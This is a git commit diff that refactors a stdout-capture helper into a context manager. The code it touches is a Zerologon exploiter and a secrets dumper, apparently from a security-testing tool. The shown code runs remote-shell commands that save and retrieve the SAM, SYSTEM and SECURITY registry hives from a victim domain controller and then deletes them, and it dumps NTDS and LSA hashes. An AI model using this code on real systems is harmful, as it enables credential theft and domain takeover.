Use __enter__() and __exit__() for StdoutCapture

This commit is contained in:
Shreya 2021-02-17 18:55:14 +05:30
parent e0ae8381ba
commit 6c9ce028e0
3 changed files with 135 additions and 142 deletions

View File

@ -303,33 +303,32 @@ class ZerologonExploiter(HostExploiter):
remote_shell = wmiexec.get_remote_shell()
if remote_shell:
output_captor = StdoutCapture()
output_captor.capture_stdout_output()
try:
# Save HKLM keys on victim.
remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' +
'reg save HKLM\\SAM sam.save && ' +
'reg save HKLM\\SECURITY security.save')
with StdoutCapture() as output_captor:
try:
# Save HKLM keys on victim.
remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' +
'reg save HKLM\\SAM sam.save && ' +
'reg save HKLM\\SECURITY security.save')
# Get HKLM keys locally (can't run these together because it needs to call do_get()).
remote_shell.onecmd('get system.save')
remote_shell.onecmd('get sam.save')
remote_shell.onecmd('get security.save')
# Get HKLM keys locally (can't run these together because it needs to call do_get()).
remote_shell.onecmd('get system.save')
remote_shell.onecmd('get sam.save')
remote_shell.onecmd('get security.save')
# Delete saved keys on victim.
remote_shell.onecmd(
'del /f system.save sam.save security.save')
# Delete saved keys on victim.
remote_shell.onecmd(
'del /f system.save sam.save security.save')
wmiexec.close()
wmiexec.close()
return True
return True
except Exception as e:
LOG.info(f"Exception occured: {str(e)}")
except Exception as e:
LOG.info(f"Exception occured: {str(e)}")
finally:
info = output_captor.get_captured_stdout_output()
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
finally:
info = output_captor.get_captured_stdout_output()
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
else:
raise Exception("Could not start remote shell on DC.")

View File

@ -98,131 +98,129 @@ class DumpSecrets:
self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def dump(self):
output_captor = StdoutCapture()
output_captor.capture_stdout_output()
with StdoutCapture() as output_captor:
dumped_secrets = ''
dumped_secrets = ''
try:
if self.__remote_name.upper() == 'LOCAL' and self.__username == '':
self.__is_remote = False
self.__use_VSS_method = True
if self.__system_hive:
local_operations = LocalOperations(self.__system_hive)
bootkey = local_operations.getBootKey()
if self.__ntds_file is not None:
# Let's grab target's configuration about LM Hashes storage.
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
else:
import binascii
bootkey = binascii.unhexlify(self.__bootkey)
try:
if self.__remote_name.upper() == 'LOCAL' and self.__username == '':
self.__is_remote = False
self.__use_VSS_method = True
if self.__system_hive:
local_operations = LocalOperations(self.__system_hive)
bootkey = local_operations.getBootKey()
if self.__ntds_file is not None:
# Let's grab target's configuration about LM Hashes storage.
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
else:
import binascii
bootkey = binascii.unhexlify(self.__bootkey)
else:
self.__is_remote = True
bootkey = None
try:
self.__is_remote = True
bootkey = None
try:
self.connect()
try:
self.connect()
except Exception as e:
if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True:
# SMBConnection failed. That might be because there was no way to log into the
# target system. We just have a last resort. Hope we have tickets cached and that they
# will work
LOG.debug(
'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
else:
raise
self.__remote_ops = RemoteOperations(
self.__smb_connection, self.__do_kerberos, self.__kdc_host)
self.__remote_ops.setExecMethod(self.__options.exec_method)
if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True:
self.__remote_ops.enableRegistry()
bootkey = self.__remote_ops.getBootKey()
# Let's check whether target system stores LM Hashes.
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
except Exception as e:
if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True:
# SMBConnection failed. That might be because there was no way to log into the
# target system. We just have a last resort. Hope we have tickets cached and that they
# will work
LOG.debug(
'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
self.__can_process_SAM_LSA = False
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
and self.__do_kerberos is True:
# Giving some hints here when SPN target name validation is set to something different to Off.
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' +
'Try -just-dc-user')
else:
raise
LOG.error('RemoteOperations failed: %s' % str(e))
self.__remote_ops = RemoteOperations(
self.__smb_connection, self.__do_kerberos, self.__kdc_host)
self.__remote_ops.setExecMethod(self.__options.exec_method)
if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True:
self.__remote_ops.enableRegistry()
bootkey = self.__remote_ops.getBootKey()
# Let's check whether target system stores LM Hashes.
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
except Exception as e:
self.__can_process_SAM_LSA = False
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
and self.__do_kerberos is True:
# Giving some hints here when SPN target name validation is set to something different to Off.
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' +
'Try -just-dc-user')
# If RemoteOperations succeeded, then we can extract SAM and LSA.
if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA:
try:
if self.__is_remote is True:
SAM_file_name = self.__remote_ops.saveSAM()
else:
SAM_file_name = self.__sam_hive
self.__SAM_hashes = SAMHashes(
SAM_file_name, bootkey, isRemote=self.__is_remote)
self.__SAM_hashes.dump()
except Exception as e:
LOG.error('SAM hashes extraction failed: %s' % str(e))
try:
if self.__is_remote is True:
SECURITY_file_name = self.__remote_ops.saveSECURITY()
else:
SECURITY_file_name = self.__security_hive
self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops,
isRemote=self.__is_remote)
self.__LSA_secrets.dumpCachedHashes()
self.__LSA_secrets.dumpSecrets()
except Exception as e:
LOG.debug(traceback.print_exc())
LOG.error('LSA hashes extraction failed: %s' % str(e))
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work.
if self.__is_remote is True:
if self.__use_VSS_method and self.__remote_ops is not None:
NTDS_file_name = self.__remote_ops.saveNTDS()
else:
LOG.error('RemoteOperations failed: %s' % str(e))
NTDS_file_name = None
else:
NTDS_file_name = self.__ntds_file
# If RemoteOperations succeeded, then we can extract SAM and LSA.
if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA:
self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote,
noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops,
useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM,
)
try:
if self.__is_remote is True:
SAM_file_name = self.__remote_ops.saveSAM()
else:
SAM_file_name = self.__sam_hive
self.__SAM_hashes = SAMHashes(
SAM_file_name, bootkey, isRemote=self.__is_remote)
self.__SAM_hashes.dump()
except Exception as e:
LOG.error('SAM hashes extraction failed: %s' % str(e))
try:
if self.__is_remote is True:
SECURITY_file_name = self.__remote_ops.saveSECURITY()
else:
SECURITY_file_name = self.__security_hive
self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops,
isRemote=self.__is_remote)
self.__LSA_secrets.dumpCachedHashes()
self.__LSA_secrets.dumpSecrets()
self.__NTDS_hashes.dump()
except Exception as e:
LOG.debug(traceback.print_exc())
LOG.error('LSA hashes extraction failed: %s' % str(e))
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work.
if self.__is_remote is True:
if self.__use_VSS_method and self.__remote_ops is not None:
NTDS_file_name = self.__remote_ops.saveNTDS()
else:
NTDS_file_name = None
else:
NTDS_file_name = self.__ntds_file
self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote,
noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops,
useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM,
)
try:
self.__NTDS_hashes.dump()
except Exception as e:
LOG.debug(traceback.print_exc())
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
resume_file = self.__NTDS_hashes.getResumeSessionFile()
if resume_file is not None:
os.unlink(resume_file)
LOG.error(e)
if self.__use_VSS_method is False:
LOG.error(
'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
self.cleanup()
except (Exception, KeyboardInterrupt) as e:
LOG.debug(traceback.print_exc())
LOG.error(e)
if self.__NTDS_hashes is not None:
if isinstance(e, KeyboardInterrupt):
resume_file = self.__NTDS_hashes.getResumeSessionFile()
if resume_file is not None:
os.unlink(resume_file)
try:
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
resume_file = self.__NTDS_hashes.getResumeSessionFile()
if resume_file is not None:
os.unlink(resume_file)
LOG.error(e)
if self.__use_VSS_method is False:
LOG.error(
'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
self.cleanup()
except Exception:
pass
finally:
dumped_secrets = output_captor.get_captured_stdout_output() # includes hashes and kerberos keys
return dumped_secrets
except (Exception, KeyboardInterrupt) as e:
LOG.debug(traceback.print_exc())
LOG.error(e)
if self.__NTDS_hashes is not None:
if isinstance(e, KeyboardInterrupt):
resume_file = self.__NTDS_hashes.getResumeSessionFile()
if resume_file is not None:
os.unlink(resume_file)
try:
self.cleanup()
except Exception:
pass
finally:
dumped_secrets = output_captor.get_captured_stdout_output() # includes hashes and kerberos keys
return dumped_secrets
def cleanup(self):
LOG.debug('Cleaning up...')

View File

@ -3,20 +3,16 @@ import sys
class StdoutCapture:
def __init__(self):
_orig_stdout = None
_new_stdout = None
def capture_stdout_output(self) -> None:
def __enter__(self) -> None:
self._orig_stdout = sys.stdout
self._new_stdout = io.StringIO()
sys.stdout = self._new_stdout
return self
def get_captured_stdout_output(self) -> str:
self._reset_stdout_to_original()
self._new_stdout.seek(0)
info = self._new_stdout.read()
return info
output = self._new_stdout.read()
return output
def _reset_stdout_to_original(self) -> None:
def __exit__(self, _, __, ___) -> None:
sys.stdout = self._orig_stdout